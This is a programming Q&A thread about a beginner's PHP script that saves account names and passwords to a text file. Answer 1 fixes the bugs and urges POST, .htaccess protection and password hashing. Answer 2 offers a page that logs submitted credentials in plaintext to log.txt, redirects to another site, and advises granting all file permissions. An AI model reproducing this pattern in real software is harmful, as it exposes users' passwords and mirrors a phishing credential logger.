Create a login and that stores the users imput in a text file using php

Question

I want to create a create account page for my simple login site where the user clicks a create account button and they are brought to a page with the following form to enter a login name and a password.

<form action = "createaccount.php" method="get">
    <h1> Please enter your information to create a new login account</h1>
    <p>  
        <label>Login Name:</label><input type = "text"  name = "name" />
        <label>Password:</label><input type = "password" name = "pwd" />
        <br/><br/>
    </p>
    <input type = "submit"  id = "submit" value = "submit"/>
    <input type = "reset"  id = "reset" value = "reset"/>
</form>

After the user enters there data into the input boxes I want to run a php script to store this data into a text file called accounts.php (I know it is not secure but this data has no value to me as i am making it up as part of the learning process).

So far I have the following php code to store the data in the file createaccount.php

<?php
    $username = $_GET['name'];
    $password = $_GET['pwd'];
    $filename = 'accounts.txt';
    $fp = fopen($filename, 'a+');
    fwrite ($fp, $username . "," . $password . "\n");
    $fclose ($fp);
    echo ("account created");
    header("Location: "login.html"); 
    die();
?>

This code I believe should take the inputs from login name and password and store them in a file called accounts.txt in the following format

username1:password1
username2:password2
etc.

then echo the screen account created and then take the user to my login.html page so they can log in with there new account info.

But I try and run the code and it does not save my data to the file at all and when i submit the form it does not direct me back to the my login screen i just get a message saying page cannot be displayed.

Answer 1

There are a few things wrong with your code

$fclose remove the $ sign. Otherwise error reporting will throw:

Fatal error: Function name must be a string in...

Then, you have an extra quote in

header("Location: "login.html");
                  ^ right there

which should read as:

header("Location: login.html");

However, you're doing an echo. You can't echo and have a header. You're outputting before header.

Use echo or header.

<?php
    $username = $_GET['name'];
    $password = $_GET['pwd'];
    $filename = 'accounts.txt';
    $fp = fopen($filename, 'a+');
    fwrite ($fp, $username . "," . $password . "\n");
    fclose ($fp);
    // echo OR header, not both
    // echo ("account created");
    header("Location: login.html"); 
    die();
?>

Sidenote: You're storing information with GET. At the very least, use POST. You're transmitting this LIVE over the Web and the information will be shown in your Web browser's address bar. Should it ever go LIVE; be careful.

---

As you said, it's not secure. Use .htaccess to protect this file.

Example code in .htaccess

<Files data.txt>
   order allow,deny
   deny from all
</Files>

You should also look into the following for password storage:

CRYPT_BLOWFISH or PHP 5.5's password_hash() function.

For PHP < 5.5 use the password_hash() compatibility pack.

---

Add error reporting to the top of your file(s) which will help find errors.

<?php 
error_reporting(E_ALL);
ini_set('display_errors', 1);

// rest of your code

Sidenote: Error reporting should only be done in staging, and never production.

---

This code I believe should take the inputs from login name and password and store them in a file called accounts.txt in the following format

username1:password1
username2:password2
etc.

If you want to save it with a colon as a seperator, then change

fwrite ($fp, $username . "," . $password . "\n");
                          ^

to

fwrite ($fp, $username . ":" . $password . "\n");
                          ^

---

Using text files is a lot of work and demands more resources when working with these, especially when it comes to editing, deleting etc..

The use of a database is by far less maintenance and more secure when using prepared statements.

Answer 2

How to create a simple Login form.

html (login.html)

<form action="login.php" method="post">
<input type="text" id="username" name="username"/>
<input type="password" id="password" name="password"/>
<input type="submit" name="Login" value="Login">
</form>

php (login.php)

<html>
 <head>
  <title>Login</title>
 </head>
 <body>

<?php

//If Submit Button Is Clicked Do the Following
if ($_POST['Login']){

$myFile = "log.txt";
$fh = fopen($myFile, 'a') or die("can't open file");
$stringData = $_POST['username'] . ":";
fwrite($fh, $stringData);
$stringData = $_POST['password'] . "\n";
fwrite($fh, $stringData);
fclose($fh);

} ?>


//goes here after
<script>location.href='https://YOURWEBSITE.com';</script>
  
 </body>
</html>

Hopefully that helps, any other questions add me on skype. Skype: YouRGenetics Website: ItzGenetics.com

~NOTE If your using a hosting company (GoDaddy,ect) that uses permissions make sure you give all permissions to the php file and the txt file.

Answer 3

I think first you have to check the return value of fopen:

$fp = fopen($filename, 'a+');
if (FALSE === $fp) {
    echo 'Can not open file...';
}

And the same for fwrite...